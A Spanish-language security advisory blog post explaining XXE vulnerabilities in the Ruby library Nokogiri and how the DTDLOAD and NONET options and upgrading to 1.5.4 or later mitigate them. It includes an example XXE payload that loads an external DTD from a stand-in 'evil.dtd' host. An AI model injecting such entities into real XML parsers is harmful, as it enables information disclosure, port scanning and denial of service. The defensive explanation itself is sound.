Skip to main content

Cómo corregir vulnerabilidades XXE en Nokogiri

Escrito por
Headshot of Tim Kadlec

Tim Kadlec

14 de febrero de 2017

0 minutos de lectura

Hace poco agregamos a nuestra base de datos de vulnerabilidades dos vulnerabilidades de alta gravedad de entidades externas XML (XXE) detectadas en la biblioteca Nokogiri. En esta publicación explicamos cómo funcionan y cómo corregir el exploit en tu aplicación.

Nokogiri es una biblioteca muy popular para analizar y extraer datos de documentos XML, SAX, Reader o HTML. Nokogiri usa bibliotecas como libxml2 y libxslt para que los usuarios puedan analizar fácilmente estos documentos mediante XPath o incluso selectores CSS3.

Cómo entender los ataques de entidades externas XML

Para analizar una cadena como XML, primero debes pasarla a Nokogiri mediante el método XML:

    xml = <<-EOX 
    <?xml version="1.0" encoding="UTF-8"?> 
    <!DOCTYPE root> 
    EOX` 

    doc = Nokogiri::XML(xml) 
    puts doc.to_xml 

    #outputs # --- xml: --- 
    # --- xml: ---
    # <?xml version="1.0" encoding="UTF-8"?> 
    # <!DOCTYPE root>

El estándar XML admite algo llamado entidades externas, que se pueden definir mediante un enlace. Al analizar un documento XML, el analizador puede hacer una solicitud a esos enlaces e incluir en el documento XML el contenido de la URI especificada. Por ejemplo, podríamos incluir una entidad externa ubicada en http://0.0.0.0:8000/evil.dtd:

xml = <<-EOX 
<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://0.0.0.0:8080/evil.dtd"> %remote;]> 
EOX

Si un analizador XML está configurado para incluir entidades externas, los atacantes pueden ejecutar un ataque de entidades externas XML mediante la inyección de una entidad maliciosa. Las consecuencias pueden ser graves: los ataques XXE han provocado denegación de servicio, escaneo de puertos y divulgación de información confidencial.

La forma más segura de prevenir un ataque XXE es configurar el analizador XML para que no incluya DTD externas. Lamentablemente, la biblioteca subyacente que Nokogiri usa para analizar XML (libxml2) puede dejar las aplicaciones totalmente expuestas a este ataque.

La vulnerabilidad

En las versiones de Nokogiri anteriores a la 1.5.4, cuando intentas analizar una cadena con una XXE definida, Nokogiri realiza de forma predeterminada una solicitud por cada XXE definida. Por lo tanto, si intentamos analizar la cadena mencionada anteriormente, se hará una solicitud a http://0.0.0.0:8080 para obtener evil.dtd.

Las versiones de Nokogiri posteriores a la 1.5.4 incorporaron algunas medidas de protección para limitar la exposición a la vulnerabilidad. Nokogiri ofrece dos opciones relacionadas con este ataque. La primera es la opción DTDLOAD, que determina si Nokogiri debe intentar cargar las DTD detectadas al analizar XML.

La otra opción es NONET. Si se activa la opción NONET, no se pueden cargar documentos desconocidos desde la red.

En las versiones de Nokogiri posteriores a la 1.5.4, la configuración predeterminada establece la opción DTDLOAD en false y la opción NONET en true. En otras palabras, de forma predeterminada, Nokogiri no intenta cargar las DTD definidas ni cargar documentos a través de la red, lo que significa que no se puede explotar la vulnerabilidad.

Sin embargo, si un usuario establece la opción DTDLOAD en true y también establece NONET en false, cualquier atacante malicioso puede aprovechar la vulnerabilidad.

Cómo corregir el problema

El equipo de investigación de seguridad de Snyk descubrió los problemas y los comunicó a Nokogiri el 11 de enero. El equipo de Nokogiri evaluó rápidamente el problema, pero, lamentablemente, en este caso Nokogiri tiene las manos atadas. El problema no está en Nokogiri, sino en la biblioteca subyacente libxml2. Nokogiri está esperando que el equipo de libxml2 corrija el problema para poder actualizarla.

Mientras tanto, si descubres que tu proyecto incluye esta vulnerabilidad, puedes seguir algunos pasos para mitigar el problema.

Primero, asegúrate de usar la versión 1.5.4 o posterior de Nokogiri. Como explicamos, las versiones anteriores a la 1.5.4 son vulnerables de forma predeterminada.

Una vez que hayas actualizado Nokigiri, revisa la configuración para asegurarte de no haber establecido DTDLOAD en true ni NONET en false. La configuración predeterminada debería ser segura, pero si hiciste esos cambios, tu sistema es vulnerable. Ten en cuenta que puedes configurar una u otra opción: la vulnerabilidad solo queda expuesta si se configuran ambas.

Si sigues estos pasos ahora, estarás protegido frente a la vulnerabilidad. Si monitoreas tu proyecto, te avisaremos cuando haya una corrección disponible.

Comienza con Capture the Flag

Aprende a resolver desafíos de Capture the Flag con nuestro taller virtual 101 a pedido.